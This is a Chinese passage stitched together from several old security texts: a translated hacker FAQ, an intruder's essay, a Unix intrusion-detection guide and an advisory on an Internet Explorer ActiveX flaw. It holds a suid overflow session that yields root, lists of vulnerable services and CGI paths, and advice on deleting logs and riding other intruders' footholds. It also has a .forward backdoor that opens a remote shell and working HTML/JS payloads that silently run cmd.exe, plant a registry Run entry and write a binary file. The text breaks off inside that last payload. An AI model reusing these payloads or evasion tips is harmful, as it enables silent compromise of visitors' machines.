很多系统可以通过溢出漏洞远程获取限权。这是入侵Unix和NT最大的区别：Unix是为远程管理设计的，因此很多熟练的黑客可以一次就获取限权。对于NT,没有默认的Telnet等其它远程管理服务，所以一般需要你能物理的接触主机(呵呵，恐怕作者写这篇文章的时候怎么也没想到几年后的中国人会发现Unicode漏洞并制作了流光这种工具，再一次向袁哥小榕致敬^O^-----译者注)。当然，任何只有一半大脑的人只要愿意都可以保护自己的系统，让其不受远程攻击，所以如果你有一个本地帐号的话对你的帮助还是很大的。

05. 什么是DoS?
孩子们，不要误解，这可不是C:\DOS。 这是拒绝服务攻击(Denial of
Service)的简称，一个非常致命(并且低级)的攻击概念。DoS一般被用于一些很使用的目的，一般人会用它来显示自己的能力和技巧，尽管这种攻击方法几乎不需要什么技巧。我认为DoS有用的唯一原因是因为它可以用于欺骗目的：当局部网中一台系统瘫痪时，你可以把你自己的地址改成那台已经瘫痪掉的电脑的，并且中途截取类似用户名和密码等重要的信息(现在的IP欺骗技术已经开始运用于广域网了------译者注)。在http://www.rootshell.com(在documentation下)
有关于TCP劫持技术的一个说明，有兴趣的朋友可以去看看。好了，我们回到主题上。拒绝服务攻击的定义可以简单描述为计算机受到此攻击后会拒绝一切internet主机的请求，停止一切服务，因此可以引起系统或软件彻底的崩溃。现在最普遍的DoS攻击(从我有限的知识来说)是
papasmurf, boink/poink, feh, smack,
bmb,和synk5。这都是些用于IRC的过时的玩具，所以.......注意点你的形象吧。

06. 怎么样才能防范DoS攻击?
至今为止还没有能百分之百可靠的方法来防范DoS攻击，如果攻击宽带大于你的宽带，那你就输了：故事结束(看来作者在写这篇文章的时候DoS技术还是只局限于单机攻击-----译者注)。但如果你的宽带等于或大于攻击者，那么他的IP则可以很容易的被类似linux
2.2.x下的Ipchains或Windows下的conseal防火墙等软件过滤掉，一些比较有趣的防火墙过滤脚本可以在http://www.freshmeat.net或者http://www.linuxberg.com找到。如果你喜欢在IRC聊天的话(yay!)，用类似bnc的东西隐藏你真实的IP地址是个绝对聪明的选择，事实上它还能让你更快的连接。你可以到ftp.bitchx.org/pub/misc上下载bnc的原代码。

07. 什么是缓冲区溢出?
长话短说，缓冲区溢出漏洞是指通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。
例子：
[benz@oldbox]$ whoami
benz
[benz@oldbox]$ /usr/bin/sperl4.036 AAAAAA(etc..) [garbage]/bin/sh
Segmentation Fault
[root@oldbox]# whoami
root
上面的记录是一个通过著名的sperl溢出得到root限权的例子。来确定你想溢出的程序能给你root限权，你需要输入ls
-al并寻找限权许可中的"s"，并且这个文件是属于root的。这说明了这个程序是suid/root，而且当它运行的时候用户会被切换成root状态执行它。因为篇幅关系，这段对缓冲区溢出的说明非常短，而且也非常简单。如果你想了解更多关于此技术的信息可以到http://www.phrack.com
- issue 49-14查阅
"Smashing the Stack for Fun and Profit" (为娱乐和利益破坏缓冲区)by Aleph
One。（网络论坛菜鸟版里有阿新刚整理的缓冲区溢出教学，很全http://www.s8s8.net/！另外中联绿盟和绿色兵团里也有很多关于溢出漏洞的中文资料，有心的朋友不妨去看看：http://www.nsfocus.com/
http://www.vertarmy.org/ ------译者注)

08. 有什么好的UNIX网站或Ftp站点吗?
Bugtraq网络安全邮件列表: http://www.geek-girl.com/bugtraq
rootshell文档(有点过时): http://www.rootshell.com
电子科学文档: ftp://ftp.technotronic.com
SlackNet: http://www.slacknet.org
Linux.org: http://www.linux.org
FreeBSD.org: http://www.freebsd.org
Packetstorm: http://packetstorm.genocide2600.com
2600 magazine: http://www.2600.com
Phrack magazine: http://www.phrack.com
(译者推荐：
中联绿盟：http://www.nsfocus.com/
绿色兵团：http://www.vertarmy.org/
网络安全文档集散地：http://www.docshow.net/
中国安盟：http://www.cn-nsl.com/
安全焦点：http://www.xfocus.org/
网络安全评估中心：http://www.cnns.net/)

09. 什么是BSD?
BSD是Berkeley Systems
Distrobution的缩写，是一种UNIX版本，以其使用的稳定性和简易性颇受广大Unix使用者的欢迎。详细的信息请参见http://www.freebsd.org,
http://www.openbsd.org, http://www.bsdi.org。

10. 什么是Linux?
Linux最先由Linus
Torvalds在网络上组织人员为PC机写了第一个免费的UNIX内核(KERNEL)，发展至今已经成为一个能在PC上可靠稳定工作的UNIX/X-WIN操作系统．这是一个在POSIX基础上建立的操作系统，现在成为了黑客普遍使用的平台。更多的信息请参见http://www.linux.org。

11. x86是干什么的?
x86是对基于intel处理器的系统的标准缩写。X与处理器没有任何关系，它是一个对所有*86系统的简单的通配符定义，例如：i386, 586
奔腾(pentium)。

12. 除了x86以外还有什么其它的系统?
除了基于Intel的系统，还有其他许多体系用于UNIX。一般来讲最普通的non-x86系统结构是Sun公司的工作站系统“Sparc”。它们的能力几乎和x86系统结构不分秋色，这些代表性的系统有SunOS和Solaris。

13. 一般服务器会打开什么样的服务?
一般我想知道对方服务上上有什么服务是由对方使用的什么操作系统而决定的。例如，如果对方的系统是Linux
2.0.3x，那么我将扫描几个代表性的服务如tcp/111上的rpcbind/portmap，因为我知道这些服务上可能存在着溢出漏洞。下面是一些系统上可能会存在漏洞的服务，如果你发现目标上存在这些服务就要仔细的研究一下了：
Redhat 4.2: tcp/143 (imap), etc..
RedHat 5.0: tcp/25 (sendmail), tcp/143 (imap), tcp/25 (qpop), tcp/53 (bind)
RedHat 5.1: tcp/111 (rpcinfo -p ), tcp/110 (qpop), tcp/53 (bind)
RedHat 5.2: tcp/21 (wu-2.4.2-academ[BETA-18](1))
Slackware: tcp/111 (rpc), tcp/110 (qpop), tcp/21 (wu-ftpd), tcp/53 (bind)
FreeBSD: tcp/110 (qpop), tcp/143 (imap), tcp/53 (bind)
Solaris: tcp/110 (rpc), tcp/53 (bind)

14. 现在有什么简单的办法去入侵?
<看第13问上的服务列表>

15. 我能用Windows入侵任何东西吗?
很荣幸的告诉你，可以。甚至将近有50多个漏洞你光使用阅览器就可以入侵！这些CGI漏洞很常见，看看下面这几个：
/cgi-bin/phf
/cgi-bin/php.cgi
/cgi-bin/Count.cgi
/cgi-bin/info2www
/_vti_pvt/service.pwd
/cgi-bin/test-cgi
/cfdocs/expeval/openfile.cfm
/cgi-dos/args.bat
/cgi-win/uploader.exe
(现在这种漏洞又增加了不少，当然它们是菜鸟的福音，但这些漏洞真能提高黑客的水平吗？------译者注)

16. 为什么Linux比Windows好?
我有几百个为什么Linux比Windows好的理由，不过我用一句忠告来代替全部这些理由：如果你想成为一个在Windows下需要事实的幸存者的话，相信我的话，去看看这个吧
http://www.darkelf.net/metachart。

17. 什么是suid/sgid?
<看第7问>

18. 什么地方最适合初学者?
我认为最好的地方莫过于IRC聊天室了。因为大多数黑客都是自己去学习的，所以黑客的技术资料并不是非常丰富，不过还是有许多非常好的黑客资料可以在网上找到，看看第8问后面的那些URL，我想会对你们有很大的帮助。

19. 入侵能给我带来多少麻烦?
大多数象我一样的典型的学生黑客还都未满18岁，也就是说还是未成年人。如果对未成年人起诉没有成立的话，你只需要担心会接到一笔白痴但不会太多的罚款。不过其它一些年龄比较大的黑客，我建议你在真正进行入侵前还是最好先找一个律师。这可能听起来很愚蠢，但是任何人都有可能在入侵后的第二天便接到法庭的传单。如果你想了解一些关于成年黑客犯罪的信息，请去参见http://www.kevinmitnick.com。

20. 我应该先入侵什么样的系统?
对于初学者，我认为你第一台应该入侵的电脑最好是你自己的。有很多更好的方法去在本地学习网络安全，尝试自己安装一个类似Linux和BSD一类的服务器，然后查找漏洞，这能在安全的前提下给你带来很多乐趣。


入侵后的思考

这篇文章不是写入侵的手法，和教你入侵，你可以不往下看，只是我个人入侵后的一些想法和思考。
入侵对你来说有什么意义！其实我知道很多HACKER（或者成为SCRIPTS KIDS）在大部分人里是个超级计算机高手，其实我和你心里都非常明白，我们很多人只会一些入侵的手法，对一个系统比如WIN98和WIN2K我们并不是太熟。不是吗？可能组建一个局域网就可以难倒很多人了。更别说什么域，什么组策略，等等一些关于网络的知识。说的明白些，你对网络不熟，你只对入侵有些研究，仅仅是一点点而已。 你能从入侵中学到什么？你入侵了之后是学会了SQL SERVER了，还是会做一个简单的网站了，要是现在让你做一个电子商务网站你会吗？你可能有很多的肉鸡，但是我可以非常老实的告诉你，我肉鸡最多从不超过8台（里面只有一两台装有3389）。给我一台肉鸡，就可以有好多台。我每次入侵以后都会总结一些，想知道自己从这次入侵中学到了什么，为自己在网络安全技术方面和对一个系统了解程度上再加深。很多人可能有无数的肉鸡，呵，最后你什么没学到，抓的就是你，我依然非常的逍遥。
你入侵一般用什么手法？我可以这样告诉你，如果是一个大漏洞而且网上这样的应用文章很多的话，你可以综合的先看些再入手，结合实践。入侵用同一种手法的时候只求会，不求太频繁。你会用这一种手法的时候，当然要把这种手法能结合的手法都联系起来，虽然有时候不入侵，你也一样可以模拟入侵，在大脑里模拟，这样我相信你的思路会拓宽很多。因为几乎所有的入侵都是漏洞的结合入侵。你频繁的入侵，可以使你的肉鸡越来越多，但是你在这里耗了无数的时间和精力，你什么也没学到，不感到厌倦吗？呵！入侵不要追求杂，要学会精，从你会的开始，对几种漏洞的应用你要特别的熟悉，然后慢慢开始摸索其他方面的。这样你既可以结合你所学的，也可以实践你所学的，何乐而不为。贪多嚼不烂。
以下是我给入侵者的一些建议。从自己最熟悉的系统开始入侵，有条件的可以让自己的系统中各种漏洞，然后试着入侵自己的系统开始，如果你连自己的系统都搞不定，或者说都不太熟悉的话，有什么道理去入侵其他人的系统，入侵了后你也不会用。你在网吧就从入侵局域网开始，你在家里我建议你还是装个2K。对于CRACKER，其实你们很多时候非常的暴露，可以说你们完全的裸露在外面，你们很多的动作被监测的一清二楚。记得一定要清除你们的脚印，我很多时候要一台肉鸡，总找有人进去过的机器，因为你们在SCRIPTS下经常留下TXT，IDQ。DLL，*。EXE，我可以这么告诉你，我对CMD。EXE等这些文件的大小敏感程度超出了你的想象，我自己有时候进入一台机器还故意模仿一些CRACKER者的手法来混淆视线，我经常进入那些CRACKER者进去过的机器做事，然后删除自己的日志。没办法，因为我不想进局子，我比你们聪明。其实踏着别人的脚印进去可以省事不少，又不留任何痕迹呵呵，还可以拿到免费的FTP空间，很爽，你可以试一下。
好好去学E文！不会英文等于爱国？谁说的，师夷长技以制夷，你要是连英语都不太好的话，奉劝你要不去学，要不就别搞入侵。很多在你眼里的高手，其实用的是世界上最好的扫描器（肯定是E文），然后找出漏洞之后，在去找利用这个漏洞的别人写好的原代码，自己拿回来稍微编译一下就可以了，也就是找漏洞，找利用这个漏洞的方法，没什么可希奇的。很多人觉的神秘，我觉的只是种游戏，但是在这个游戏世界里的规则，官方语言是E文，你不会，请回吧。
学着自己写程序，用自己写的东西是安全，第二是你只有在写东西的时候，才会对这个漏洞有深入的了解，对你以后的入侵只有好处没有坏处。
努力学会尝试自己发现漏洞，也是从自己熟悉的方面开始。再接着就是写扫描器，写小型的系统，写你自己喜欢写的东西，对你只有好处没有坏处，你会入侵，会发现漏洞，我相信在你自己写的时候你会避免的。
你既然会网络安全技术，又会E文，又会编程，还可能会数据库，等等，可以说18般武艺都齐全了，找个月薪2万的工作还可能委屈了你呢~所以现在很多HACKER说自己找不到工作什么的，嘿你找过自身的原因吗？没有吧！好了，一些想法和建议只是我自己思考的结果。剩下的你自己去思考吧。


入侵检测方法和缺陷

如何判断自己的服务器是否被入侵了呢？仅仅靠两只手是不够的，但两只手也能起到一些作用，我们先来看看UNIX系统上一些入侵检测方法，以LINUX和solaris为例。

1、检查系统密码文件
首先从明显的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期。
输入命令 awk –F:’$3==0 {print $1}’ /etc/passwd来检查一下passwd文件中有哪些特权用户，系统中uid为0的用户都会被显示出来。顺便再检查一下系统里有没有空口令帐户：awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

2、查看一下进程，看看有没有奇怪的进程
重点查看进程：ps –aef | grep inetd
inetd是UNIX系统的守护进程，正常的inetd的pid都比较靠前，如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程，着重看inetd –s后面的内容。在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而solaris系统中也仅仅是inetd –s，同样没有用inetd去启动某个特定的文件；如果你使用ps命令看到inetd启动了某个文件，而你自己又没有用inetd启动这个文件，那就说明已经有人入侵了你的系统，并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息，尤其注意有没有以./xxx开头的进程。一旦发现异样的进程，经检查为入侵者留下的后门程序，立即运行kill –9 pid 开杀死该进程，然后再运行ps –aef查看该进程是否被杀死；一旦此类进程出现杀死以后又重新启动的现象，则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找：find / -name 程序名 –print，假设系统真的被入侵者放置了后门，根据找到的程序所在的目录，会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做，检测这种方法涉及到检查文件完整性，稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录，一步一步进行追踪。

3、检查系统守护进程
检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep –v “^#”，输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh 替换掉in.telnetd，然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口
输入netstat -an，列出本机所有的连接和监听的端口，查看有没有非法连接。
输入netstat –rn，查看本机的路由、网关设置是否正确。
输入 ifconfig –a，查看网卡设置。

5、检查系统日志
命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog，查看系统syslog进程的情况，判断syslog上次启动的时间是否正常，因为syslog是以root身份执行的，如果发现syslog被非法动过，那说明有重大的入侵事件。
在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm
检查wtmp utmp，包括messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式。这种方式有一定的成功率，也就是说它并不能100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward
这是两种比较著名的后门文件，如果想检查你的系统是否被入侵者安装了后门，不妨全局查找这两个文件：
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用户的$HOME下，.rhosts文件中仅包含两个+号是非常危险的，如果你的系统上开了513端口（rlogin端口，和telnet作用相同），那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下，如果你运行如下命令：
ln -s /var/mail/luser ~/.forward
然后设置vacation有效，那么/var/mail/luser就会被拷贝到~/.forward，同时会附加"|/usr/bin/vacation me"，旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。

8、检查系统文件完整性
检查文件的完整性有多种方法，通常我们通过输入ls –l 文件名来查询和比较文件，这种方法虽然简单，但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询，国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多，这里不一一赘述，可以man rpm来获得更多的格式。

UNIX系统中，/bin/login是被入侵者经常替换作为后门的文件，接下来谈一下login后门 ：
UNIX里，Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改，使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令，它将忽视管理员设置的口令让你长驱直入：这将允许入侵者进入任何账号，甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问，所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后，使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令，使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令，输入md5sum 文件名检查该文件的md5签名。它的使用格式如下：md5sum –b 使用二进制方式阅读文件；md5sum –c 逆向检查MD5签名；md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程，对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较，举个简单的例子，如果你开放了telnet服务，守护进程配置文件中就会有一句：telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd，检查该文件的完整性，入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件，检查该文件的完整性，可以直接cat /etc/crontab，仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷，即系统一旦重新启动，这个进程就被杀死了，所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序；这个方法怎么有点象查windows下的trojan？

说到这里，另外提一下，如果在某一目录下发现有属性为这样的文件：-rwsr-xr-x 1 root root xxx .sh，这个表明任何用户进来以后运行这个文件都可以获得一个rootshell，这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找，然后删除这样的文件。

9、检查内核级后门
如果你的系统被人安装了这种后门，通常都是比较讨厌的，我常常就在想，遇到这种情况还是重新安装系统算了J，言归正传，首先，检查系统加载的模块，在LINUX系统下使用lsmod命令，在solaris系统下使用modinfo命令来查看。这里需要说明的是，一般默认安装的LINUX加载的模块都比较少，通常就是网卡的驱动；而solaris下就很多，没别的办法，只有一条一条地去分析。对内核进行加固后，应禁止插入或删除模块，从而保护系统的安全，否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外，对这个内核进行加固模块时应尽早进行，以防系统调用已经被入侵者替换。如果系统被加载了后门模块，但是在模块列表/proc/module里又看不到它们，有可能是使用了hack工具来移除加载的模块，大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况，需要仔细查找/proc目录，根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录，当然可能这个目录是隐藏的。

10、手工入侵检测的缺陷
上面谈了一些手工入侵检测的方法，但这些方式有一定的缺陷，有的甚至是不可避免的缺陷，这就是为什么说手工检测是“体力活”的原因。我们先来看看这些缺陷：
1）手工入侵检测只能基于主机，也就是说所有的入侵检测工作只能在操作系统下面完成，这是它固有的缺陷；基本上所有凌驾于操作系统之外的入侵行为统统无法探测得到。网络级的入侵，交换机、路由器上面的入侵和攻击行为，作为服务器的操作系统都无法得知；信息已经从主机发送出去了，如果在传送的介质当中被拦截，主机的操作系统是永远无动于衷的。

2）手工的入侵检测要求精通操作系统，并且漏洞库资料的刷新要快；在做一个网管的同时要做一个黑客。可以说经验的积累永远跟不上全世界漏洞资料的更新，难保系统不被新的漏洞所侵入。

3）手工入侵检测只是“就事论事”，根据发生的某一情况判断入侵事件，再作出相应的对应和防范措施，而无法预先根据入侵者的探测行为作出对攻击事件的描述，定义事件级别，在不防碍系统正常工作的情况下阻止下一步对系统的入侵行为。
4）可以通过手工入侵检测发现主机上的某些漏洞，进而作出相应的安全措施。但却避免不了一种现象：无法避免两个入侵者利用同一个漏洞攻击主机，即无法判断攻击模式来切断入侵行为。
5）综上所述，手工的入侵检测行为对于系统安全来说只是治标而不治本，多半还是依靠管理员的技巧和经验来增强系统的安全性，没有，也不可能形成真正的安全体系，虽然聊胜于无，可以检测和追踪到某些入侵行为，但如果碰上同样精通系统的入侵者就很难抓住踪迹了。

11、入侵检测系统的比较
搭建真正的安全体系需要入侵检测系统—IDS，一个优秀的入侵检测系统辅以系统管理员的技巧和经验可以形成真正的安全体系，有效判断和切断入侵行为，真正保护主机、资料。人们有时候会以为ISS的realsecure是优秀的入侵检测系统，其实不然，realsecure带有一定的缺陷，不谈它对事件的误报、漏报和错报，首先它是一个英文的软件，使用和熟悉起来有一定的难度。而且由于是外国人的软件，很多hack对realsecure有深入的研究，已经发掘出它的一些漏洞，甚至是固有漏洞，我就曾经测试出有的攻击手段可以令realsecure瘫痪。再者，realsecure也是架设在服务器操作系统之上的，操作系统停止工作，同样令之停止工作，换句话说，很简单，攻击者攻击的目标往往就是realsecure本身。设想，假设你的系统依赖于入侵检测系统，而入侵检测系统被攻击者搞掉，那你的系统将大门敞开，任由出入，后果不堪设想。

全中文的入侵检测系统当然是比较爽了，天阗探测引擎就是这当中比较典型的一种，它有自己的“黑匣子”，入侵者在攻击一台服务器的时候，几乎不可能找到该服务器运行的天阗探测引擎，这样就大大增加了攻击的难度，提高了服务器的安全性。有关天阗的资料可以在http://www.venustech.com.cn找到。关于入侵检测系统的比较和技术分析，我将在下一篇文章中专门给出。


深入剖析通过嵌入ActiveXComponent执行ActiveX对象漏洞

作者：tombkeeper

受影响的系统：

所有Windows版本，IE4.0/IE5.0/IE5.01/IE5.5，OE，Outlook，Foxmail

描述：
把com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记可能导致任意创建和解释执行ActiveX对象，从而可以创建任意文件，运行程序，写注册表。

详细：
对于IE，通过调用ActiveX对象可以进行很多功能强大的操作，如运行程序等。但在执行较危险的调用时都会有警告信息。如将下面这行代码加到一个HTML文件中，运行会提示：
“该网页上的某些软件（ActiveX控件）可能不安全。建议您不要运行。是否允许运行？”

<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B
    id=wsh>
</OBJECT><SCRIPT>wsh.Run('cmd.exe');
//把'cmd.exe'改为'command.com'则对Windows 95/98/ME也有效，下同。
</SCRIPT>

点击“确定”会打开一个命令提示符。

同样使用这个OBJECT，嵌入com.ms.activeX.ActiveXComponent对象后，在IE的默认安全级别“中”状态下也同样可以运行。打开包含以下脚本的HTML文件也会运行一个命令提示符，但没有任何警告。甚至还可以使程序在后台运行。

<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe');//改为"wsh.Run('cmd.exe',false,1);"则程序在后台隐藏运行
}
setTimeout('runcmd()',10);
</SCRIPT>

还可以通过WSHShell对象运行任何程序、获取主机信息、读写注册表，甚至删除所有注册表项；通过FileSystem对象任意读写删除文件，等等。最近很多恶意网站都通过类似手段改写访问者的注册表，一些网页型病毒如著名的“万花谷”病毒也是采用了此方法。

其实只要能使用Run执行cmd.exe，创建文件和写注册表都可以很容易地完成。下面就是一个用cmd.exe创建注册表脚本，并导入注册表的例子。

<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo Windows Registry Editor Version
5.00>auto.reg',false,1);
wsh.Run('cmd.exe /c echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>auto.reg'
,false,1);
wsh.Run('cmd.exe /c echo @="cmd.exe">>auto.reg',false,1);
wsh.Run('cmd.exe /c regedit /s auto.reg',false,1);
wsh.Run('cmd.exe /c del auto.reg',false,1);
}
setTimeout('runcmd()',10);
</SCRIPT>

值得一提的是通过巧妙的运用debug的输入重定向还可以创建二进制文件。下面的代码完全使用Run函数，用echo命令写文件。

<!---------code by tombkeeper@126.com---------->
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo a>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854
7369 7020 6f72 7267 6d61 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e
4f44 2053 6f6d 6564 d2e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619
8873 7619 8873 761e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0
0 0 0 4550 0 14c 2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 56f3 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0
0 1000 0 1000 0 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 40 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200
0 0 0 2 0 0 10 1000 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 10 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 2000 0 10 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0
200 0 200 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 20 6000 722e 6164 6174 0 92 0 2000 0 200 0 400
0 0 0 0 0 0 0 40 4000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632
632e 6d6f d500 d6e2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw cabb b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0
bace cece baa3 a1a6 a3 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6a 268 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0
25ff 2008 40 25ff 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 2076 0 0 0 205c 0 0 0 2054 0 0 0 0 0 206a
0 2008 0 204c 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 2084 0 2000 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0
205c 0 0 0 1bb 654d >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 7373 6761 4265 786f 41 5355 5245 3233 642e 6c6c
0 75 7845 7469 7250 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 636f 7365 73 454b 4e52 4c45 3233 642e 6c6c 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
